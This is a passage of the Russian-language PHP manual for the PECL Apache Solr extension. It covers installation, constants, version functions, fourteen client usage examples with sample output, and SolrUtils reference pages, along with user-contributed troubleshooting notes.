    • SolrIllegalOperationException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение
  • SolrMissingMandatoryParameterException — Класс SolrMissingMandatoryParameterException

User Contributed Notes

ASchmidt at Anamera dot net 08-Mar-2019 07:28
This extension was last updated for PHP 7.1 three years ago.

As of this date, it has not been released for PHP 7.2 or PHP 7.3. In other words, it's not actively maintained.
Corentin Larose 21-Sep-2012 02:56
Hello,

you have to use SolrQuery::addFilterQuery() instead of SolrQuery::addFacetQuery() which is intended for another goal.

SolrQuery::addFilterQuery() : fq
SolrQuery::addFacetQuery() : facet.query

Regards,

Corentin Larose - CTO@QAPA
mixwise at gmail dot com 18-Sep-2011 06:19
solr_get_version(): 1.0.1
solr:3.3.0

I had problems trying to pass facet queries(fq not facet.query) using this extension.

So I made a work around by extending the SolrQuery class and adding a new method for fq.
<?php
class SolrQuery2 extends SolrQuery{
    public function addFQ($facetQuery){
        $this->addParam('fq', $facetQuery);
    }
}
?>


Введение

Модуль Solr позволяет эффективно взаимодействовать с сервером Apache Solr в PHP.

Модуль Solr - чрезвычайно быстрая, лёгкая, многофункциональная библиотека, которая позволяет разработчикам PHP эффективно взаимодействовать с экземплярами сервера Solr.

Версии 1.x модуля PECL поддерживают Apache Solr Server 1.3-3.x

Версии 2.x модуля PECL поддерживают Apache Solr Server 4.0+

Есть встроенные инструменты для добавления документов и обновления сервера Solr.

Она также содержит инструменты, которые позволяют создавать сложные запросы к серверу при поиске документов.

User Contributed Notes

peter at softcoded dot com 01-Jul-2012 04:08
For more up to date information see: http://pecl.php.net/package/solr

"It [the  Apache Solr PHP extension] effectively simplifies the process of interacting with Apache Solr using PHP5 and it already comes with built-in readiness for the latest features added in Solr 3.1 ..."


Требования

Модуль libxml и curl также должны быть включены, чтобы модуль Apache Solr был доступен.

Требуется libxml2 2.6.31 или новее.

Требуется libcurl 7.18.0 или новее.

Указанные выше версии библиотеки требуются и попытки взломать код для его компиляции категорически не рекомендуется. Это, возможно, завершится с ошибками, которые может быть трудно отладить

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/solr.

Для получения помощи и поддержки посетите группу модулей Google. » Модуль Apache Solr PHP

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

Замечание:

Модуль solr может быть скомпилирован в режиме отладки, передав флаг --enable-solr-debug для настройки

При сборке вручную не забудьте включить в сборку поддержку curl и libxml.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

SOLR_MAJOR_VERSION (int)
SOLR_MINOR_VERSION (int)
SOLR_PATCH_VERSION (int)
SOLR_EXTENSION_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.


Функции Solr

Содержание

  • solr_get_version — Возвращает текущую версию модуля Apache Solr

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую версию модуля Apache Solr

  • « Функции Solr
  • Примеры »
  • PHP Manual
  • Функции Solr
  • Возвращает текущую версию модуля Apache Solr

solr_get_version

(PECL solr >= 0.9.1)

solr_get_version — Возвращает текущую версию модуля Apache Solr

Описание

solr_get_version(): string

Функция возвращает текущую версию модуля в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Функция не выбрасывает ошибок или исключений.

Примеры

Пример #1 Пример использования solr_get_version()

<?php

$solr_version = solr_get_version();

print $solr_version;

?>

Вывод приведённого примера будет похож на:

0.9.6

Смотрите также

  • SolrUtils::getSolrVersion() - Возвращает текущую версию модуля Solr

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Примеры использования модуля Apache Solr в PHP

Пример #1 Содержимое файла BootStrap

<?php

/* Доменное имя сервера Solr */
define('SOLR_SERVER_HOSTNAME', 'solr.example.com');

/* Следует ли запускать в безопасном режиме */
define('SOLR_SECURE', true);

/* HTTP-порт для подключения */
define('SOLR_SERVER_PORT', ((SOLR_SECURE) ? 8443 : 8983));

/* Имя пользователя для базовой аутентификации HTTP */
define('SOLR_SERVER_USERNAME', 'admin');

/* Пароль базовой аутентификации HTTP */
define('SOLR_SERVER_PASSWORD', 'changeit');

/* Время ожидания HTTP-соединения */
/* Это максимальное время в секундах, разрешённое для операции передачи данных http. Значение по умолчанию - 30 секунд */
define('SOLR_SERVER_TIMEOUT', 10);

/* Имя файла для закрытого ключа в формате PEM + закрытый сертификат (объединены в указанном порядке) */
define('SOLR_SSL_CERT', 'certs/combo.pem');

/* Имя файла только для частного сертификата в формате PEM */
define('SOLR_SSL_CERT_ONLY', 'certs/solr.crt');

/* Имя файла для закрытого ключа в формате PEM */
define('SOLR_SSL_KEY', 'certs/solr.key');

/* Пароль для файла закрытого ключа в формате PEM */
define('SOLR_SSL_KEYPASSWORD', 'StrongAndSecurePassword');

/* Имя файла, содержащего один или несколько сертификатов CA для проверки однорангового узла */
define('SOLR_SSL_CAINFO', 'certs/cacert.crt');

/* Имя каталога, содержащего несколько сертификатов CA для проверки однорангового узла */
define('SOLR_SSL_CAPATH', 'certs/');

?>

Пример #2 Добавление документа в индекс

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 446
        )

)

Пример #3 Слияние одного документа с другим

<?php

include "bootstrap.php";

$doc = new SolrDocument();

$second_doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat = 'Information Technology';

$second_doc->addField('cat', 'Lucene Search');

$second_doc->merge($doc, true);

print_r($second_doc->toArray());

?>

Вывод приведённого примера будет похож на:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

        )

)

Пример #4 Поиск документов - ответы SolrObject

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334456
                        )

                    [1] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334455
                        )

                    [2] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: hello (hello with an accent over the e)
                                )

                            [id] => SOLR1000
                            [timestamp] => 2009-09-04T20:38:55.906
                        )

                )

        )

)

Пример #5 Поиск документов - ответы SolrDocument

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$query_response->setParseMode(SolrQueryResponse::PARSE_SOLR_DOC);

$response = $query_response->getResponse();

print_r($response);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 19740
                        )

                    [1] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25485
                        )

                    [2] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25052
                        )

                )

        )

)

Пример #6 Пример использования Simple TermsComponent

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

$query->setTermsField('cat');

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [electronics] => 14
                    [Lucene] => 4
                    [Software] => 4
                    [memory] => 3
                    [card] => 2
                    [connector] => 2
                    [drive] => 2
                    [graphics] => 2
                    [hard] => 2
                    [monitor] => 2
                )

        )

)

Пример #7 Пример использования Simple TermsComponent - использование префикса

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

$query->setTermsField('cat')->setTermsPrefix($prefix);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                    [camera] => 1
                    [copier] => 1
                )

        )

)

Пример #8 Пример использования Simple TermsComponent - указание минимальной частоты

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Возвращать только термины, начинающиеся с $prefix */
$prefix = 'c';

/* Возвращать только термины с частотой 2 или более */
$min_frequency = 2;

$query->setTermsField('cat')->setTermsPrefix($prefix)->setTermsMinCount($min_frequency);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 0
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                )

        )

)

Пример #9 Пример использования Simple Facet

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2);

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
            [1] => 3
            [184] => 3
            [2] => 3
            [3200] => 3
            [400] => 3
            [500] => 3
            [ddr] => 3
            [i] => 3
            [ipod] => 3
            [memori] => 3
            [pc] => 3
            [pin] => 3
            [pod] => 3
            [sdram] => 3
            [system] => 3
            [unbuff] => 3
            [canon] => 2
            [corsair] => 2
            [drive] => 2
            [hard] => 2
            [mb] => 2
            [n] => 2
            [power] => 2
            [retail] => 2
            [video] => 2
            [x] => 2
        )

)

Пример #10 Пример использования Simple Facet - с необязательным переопределением поля для mincount

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Пример #11 Пример использования Facet Date

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetDateField('manufacturedate_dt');

$query->setFacetDateStart('2006-02-13T00:00:00Z');

$query->setFacetDateEnd('2012-02-13T00:00:00Z');

$query->setFacetDateGap('+1YEAR');

$query->setFacetDateHardEnd(1);

$query->addFacetDateOther('before');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_dates;

print_r($facet_data);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [manufacturedate_dt] => SolrObject Object
        (
            [2006-02-13T00:00:00Z] => 9
            [2007-02-13T00:00:00Z] => 0
            [2008-02-13T00:00:00Z] => 0
            [2009-02-13T00:00:00Z] => 0
            [2010-02-13T00:00:00Z] => 0
            [2011-02-13T00:00:00Z] => 0
            [gap] => +1YEAR
            [start] => 2006-02-13T00:00:00Z
            [end] => 2012-02-13T00:00:00Z
            [before] => 2
        )

)

Пример #12 Подключение к серверу с поддержкой SSL

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'timeout' => SOLR_SERVER_TIMEOUT,
'secure' => SOLR_SECURE,
'ssl_cert' => SOLR_SSL_CERT_ONLY,
'ssl_key' => SOLR_SSL_KEY,
'ssl_keypassword' => SOLR_SSL_KEYPASSWORD,
'ssl_cainfo' => SOLR_SSL_CAINFO,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Пример #13 Сворачивание SolrQuery

<?php
include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);
?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

Пример #14 Пример использования Solr Real Time Get (RTG) SolrClient::getById()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => ??????
                    [2] => This is a feature (translated)
                    [3] => ?????????
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

User Contributed Notes

tomanr1 at wp dot pl 17-Dec-2013 10:22
In case someone would like to use this solrClient with solr v.4.0 and higher i've prepared my own commit function

class solr {
        public function delete($query ) {
                $this->_client->deleteByQuery($query);
                $this->commit();
        }

        public function commit() {
                $solrConfig= // array with solr host, port, path to collection (/solr/my_collection),
                $solrAddress = $solrConfig['hostname'] . ':' . $solrConfig['port'] . $solrConfig['path'];
                $output = array();
                $response = exec('curl ' . $solrAddress . '/update?commit=true', $output);
                return $output;
        }
}
tsengmeat at gmail dot com 12-Oct-2013 02:24
As of solr 4.0 the waitFlush parameter is removed.
If you're using the solr 4.0 or later version (and you have to),when you do this
<?php $client->commit(); ?>
you will get a solr error like this:
"Unknown commit parameter 'waitFlush'."

If you insist on using this PHP Solr extension and solr 4.0 or later version,you can edit the extension's source (version 1.0.2) php_solr_client.c.
for the SolrClient's optimize method:
at line 1490 :
  zend_bool waitFlush = 1, waitSearcher = 1;
  after edited:
  zend_bool waitSearcher = 1;
at line 1493:
  char *waitFlushValue, *waitSearcherValue;
  after edited:
  zend_bool waitSearcher = 1;
at line 1502:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sbb", &maxSegments, &maxSegmentsLen, &waitFlush, &waitSearcher) == FAILURE) {
  after editd:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &maxSegments, &maxSegmentsLen, &waitSearcher) == FAILURE) {

remove the line 1509 and 1515.

And do the same edit for the SolrClient's commit method at line 1561,1564,1573 and remove the line 1580,1586

The final step, compile the code and install it.
Good luck!
cliff 15-Jun-2012 09:15
As of solr 4.0 the waitFlush parameter is removed.

Source
http://wiki.apache.org/solr/UpdateXmlMessages

$client->commit() throws an error
[SolrClientException]
  Unsuccessful update request. Response Code 400. <?xml version="1.0" encoding="UTF-8"?>
  <response>

  <lst name="responseHeader">
    <int name="status">400</int>
    <int name="QTime">1</int>
  </lst>
  <lst name="error">
    <str name="msg">Unknown commit parameter 'waitFlush'</str>
    <int name="code">400</int>
  </lst>
  </response>
khe77o at gmail dot youknowwhat 15-Mar-2012 05:53
The documentation in the example section doesn't mention that you need to commit once you've added doc(s).

So in short it would be something like:
$client = new SolrClient(array('hostname' => '127.0.0.1', 'port' => 8080));
$doc = new SolrInputDocument();
$doc->addField('id', 12345);
$doc->addField('name', 'some person');

$result = $client->addDocument($doc);

/* you are not done yet, you need to commit */
$client->commit();

Now if you query you should see your doc =]
jschwehn+php at IGNOrMEgmail dot com 29-Oct-2010 06:05
If you are using Solr's multicore feature, you can access the cores via the path parameter in the $options array.
E.g.
<?php
  $options = array(...., 'path' => 'solr/core0', ...);
?>
jschwehn+php.a.t.gmail.com 19-Oct-2010 05:51
If you like to access a different RequestHander than '/select' you can change it via http://php.net/manual/en/solrclient.setservlet.php
bjorn at bjorn-erik dot biz 19-Sep-2010 12:47
If you're testing these examples on a fresh install of solr, you will need to run a commit statement after you add documents to receive results when searching.

For example, add this:
<?php $client->commit(); ?>

to example 3 to be able to get any results when doing a search using example 5.
trickito at yahoo 16-Nov-2009 09:08
if your path to solr is something other than: /solr

you should add this to the bootstrap file above:

define('SOLR_SERVER_PATH', 'my-solr-url');

and then a corresponding entry to the options array in your client php code like:

'path'     => SOLR_SERVER_PATH

I couldn't find this is in the documentation and had to peek at the source to figure it out.


Класс SolrUtils

(PECL solr >= 0.9.2)

Введение

Содержит служебные методы для получения текущей версии модуля и подготовки фраз запроса.

Также содержит метод для экранирования строк запроса и анализа ответов XML.

Обзор классов

abstract class SolrUtils {
/* Методы */
public static digestXmlResponse(string $xmlresponse, int $parse_mode = 0): SolrObject
public static escapeQueryChars(string $str): string|false
public static getSolrVersion(): string
public static queryPhrase(string $str): string
}

Содержание

  • SolrUtils::digestXmlResponse — Преобразовывает XML-строку ответа в объект SolrObject
  • SolrUtils::escapeQueryChars — Экранирует строку запроса Lucene
  • SolrUtils::getSolrVersion — Возвращает текущую версию модуля Solr
  • SolrUtils::queryPhrase — Подготавливает фразу из неэкранированной строки запроса Lucene

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает XML-строку ответа в объект SolrObject

  • « SolrUtils
  • SolrUtils::escapeQueryChars »
  • PHP Manual
  • SolrUtils
  • Преобразовывает XML-строку ответа в объект SolrObject

SolrUtils::digestXmlResponse

(PECL solr >= 0.9.2)

SolrUtils::digestXmlResponse — Преобразовывает XML-строку ответа в объект SolrObject

Описание

public static SolrUtils::digestXmlResponse(string $xmlresponse, int $parse_mode = 0): SolrObject

Метод преобразовывает XML-строку ответа с сервера Apache Solr в объект SolrObject. В случае возникновения ошибки выбрасывает исключение SolrException.

Список параметров

xmlresponse

Строка ответа XML от сервера Solr.

parse_mode

Доступные значения: SolrResponse::PARSE_SOLR_OBJ или SolrResponse::PARSE_SOLR_DOC.

Возвращаемые значения

Возвращает объект SolrObject, представляющий ответ XML.

Если для параметра parse_mode установлено значение SolrResponse::PARSE_SOLR_OBJ, документы Solr будут анализироваться как экземпляры SolrObject.

Если установлено значение SolrResponse::PARSE_SOLR_DOC, они будут проанализированы как экземпляры SolrDocument.

User Contributed Notes

There are no user contributed notes for this page.


Экранирует строку запроса Lucene

  • « SolrUtils::digestXmlResponse
  • SolrUtils::getSolrVersion »
  • PHP Manual
  • SolrUtils
  • Экранирует строку запроса Lucene

SolrUtils::escapeQueryChars

(PECL solr >= 0.9.2)

SolrUtils::escapeQueryChars — Экранирует строку запроса Lucene

Описание

public static SolrUtils::escapeQueryChars(string $str): string|false

Lucene поддерживает экранирование специальных символов, которые являются частью синтаксиса запроса.

Текущий список специальных символов:

+ - && || ! ( ) { } [ ] ^ " ~ * ? : \ /

Эти символы являются частью синтаксиса запроса и должны быть экранированы

Список параметров

str

Строка запроса, которую нужно экранировать.

Возвращаемые значения

Возвращает экранированную строку или false, если возникла ошибка.

User Contributed Notes

Ian 30-Jul-2013 08:51
A way of doing that with a regular expression:

<?php
// Lucene characters that need escaping with \ are + - && || ! ( ) { } [ ] ^ " ~ * ? : \
$luceneReservedCharacters = preg_quote('+-&|!(){}[]^"~*?:\\');
$query = preg_replace_callback(
    '/([' . $luceneReservedCharacters . '])/',
    function($matches) {
        return '\\' . $matches[0];
    },
    $query);
?>


Возвращает текущую версию модуля Solr

  • « SolrUtils::escapeQueryChars
  • SolrUtils::queryPhrase »
  • PHP Manual
  • SolrUtils
